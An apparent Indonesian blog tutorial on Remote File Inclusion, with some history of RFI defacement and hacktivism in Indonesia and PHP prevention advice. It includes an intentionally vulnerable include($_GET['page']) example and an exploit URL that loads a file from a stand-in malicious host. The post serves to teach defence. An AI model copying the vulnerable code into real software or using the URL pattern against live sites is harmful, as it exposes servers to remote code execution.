Pengertian Serangan Remote File Inclusion (RFI)
Serangan Deface RFI (Remote File Inclusion) di Indonesia mulai booming sekitar tahun 2010-an, meskipun sebelumnya sudah ada beberapa insiden, tetapi pada periode ini serangan RFI semakin marak dilakukan oleh kelompok aktivis internet dan peretas, baik dalam konteks hacktivism maupun serangan untuk menunjukkan celah keamanan situs.
Pada periode tersebut, serangan RFI umumnya ditujukan pada situs-situs web yang tidak memiliki perlindungan yang memadai, dan para peretas memanfaatkan kerentanannya untuk melakukan deface (merubah tampilan halaman web) atau menyisipkan script berbahaya. Sebagian besar serangan ini dilakukan oleh kelompok yang ingin memprotes pemerintah atau isu-isu sosial-politik, yang kemudian dikenal dengan istilah "hacktivism".
Pada masa tersebut, Indonesia menjadi salah satu negara yang cukup sering mengalami serangan cyber, baik dalam bentuk deface, RFI, maupun jenis serangan lainnya, dengan kelompok-kelompok tertentu yang mengekspresikan ideologi mereka melalui dunia maya. Sebagai contoh, banyak situs web pemerintah Indonesia yang menjadi sasaran serangan semacam itu.
Seiring berjalannya waktu, kesadaran akan pentingnya keamanan siber meningkat, dan banyak organisasi serta pemerintah yang mulai memperbaiki infrastruktur keamanan mereka untuk mengurangi potensi celah yang bisa dimanfaatkan untuk serangan seperti RFI.
Penjelasan Serangan RFI
RFI adalah jenis celah keamanan di mana aplikasi web memungkinkan pengguna untuk memasukkan file dari server atau URL eksternal untuk diproses oleh server. Jika aplikasi tidak memvalidasi dengan benar input pengguna, seorang penyerang bisa mengirimkan URL berbahaya yang dapat menyebabkan server mengimpor dan menjalankan file berbahaya dari sumber yang tidak dipercaya.
Contoh Aplikasi PHP yang Rentan terhadap RFI (untuk tujuan pembelajaran)
Untuk memahami bagaimana celah ini bekerja, berikut adalah contoh sederhana aplikasi PHP yang rentan terhadap RFI:
<?php
// file: index.php
if(isset($_GET['page'])) {
$page = $_GET['page']; // Input yang tidak divalidasi
include($page); // Menerima file dari parameter URL dan memasukkannya ke dalam aplikasi
} else {
echo "Halaman tidak ditemukan.";
}
?>
Cara Kerja Celah:
Pada kode di atas, jika parameter page
diberikan oleh pengguna, maka file yang sesuai dengan nilai parameter tersebut akan dimasukkan ke dalam aplikasi dengan fungsi include()
. Jika pengguna mengirimkan URL atau path file yang berbahaya, server akan mengeksekusi file tersebut.
Contoh URL yang dapat mengeksploitasi celah ini:
http://example.com/index.php?page=http://malicious.com/malicious_file.php
Jika aplikasi ini tidak memiliki validasi yang tepat, file berbahaya dari malicious.com
akan dimasukkan dan dijalankan di server.
Pencegahan terhadap RFI
Untuk melindungi aplikasi dari RFI, langkah-langkah berikut bisa diambil:
-
Validasi dan Sanitasi Input: Pastikan hanya file yang sah dan aman yang dapat dimasukkan oleh pengguna.
- Cek ekstensi file, hanya izinkan file tertentu (misalnya:
.php
,.html
). - Gunakan whitelist, bukan blacklist, untuk memeriksa file yang dapat dimasukkan.
- Cek ekstensi file, hanya izinkan file tertentu (misalnya:
-
Gunakan Path Absolut: Jangan biarkan pengguna menentukan path file. Sebaiknya tentukan path absolut untuk file yang akan dimasukkan.
-
Nonaktifkan
allow_url_include
: Di konfigurasi PHP, matikan opsiallow_url_include
diphp.ini
untuk mencegah file dari URL eksternal di-include.
Gunakan PHPallow_url_include = Off
basename()
untuk Memverifikasi Nama File: Gunakan fungsibasename()
untuk memastikan nama file tidak mengandung path atau karakter yang tidak diinginkan.
<?php
// file: index.php
$allowed_pages = array('home.php', 'about.php', 'contact.php'); // Daftar halaman yang aman
if(isset($_GET['page'])) {
$page = $_GET['page'];
if(in_array($page, $allowed_pages)) {
include($page);
} else {
echo "Halaman tidak ditemukan.";
}
} else {
echo "Halaman utama.";
}
?>
Dengan pendekatan ini, hanya file yang ada dalam daftar allowed_pages
yang dapat dimasukkan, menghindari potensi serangan RFI.
Jadi, intinya, daripada mencoba membuat aplikasi yang rentan terhadap RFI, lebih baik kita memfokuskan diri pada cara mencegah dan mengamankan aplikasi agar tidak bisa dieksploitasi.
Belum ada Komentar untuk "Pengertian Serangan Remote File Inclusion (RFI)"
Posting Komentar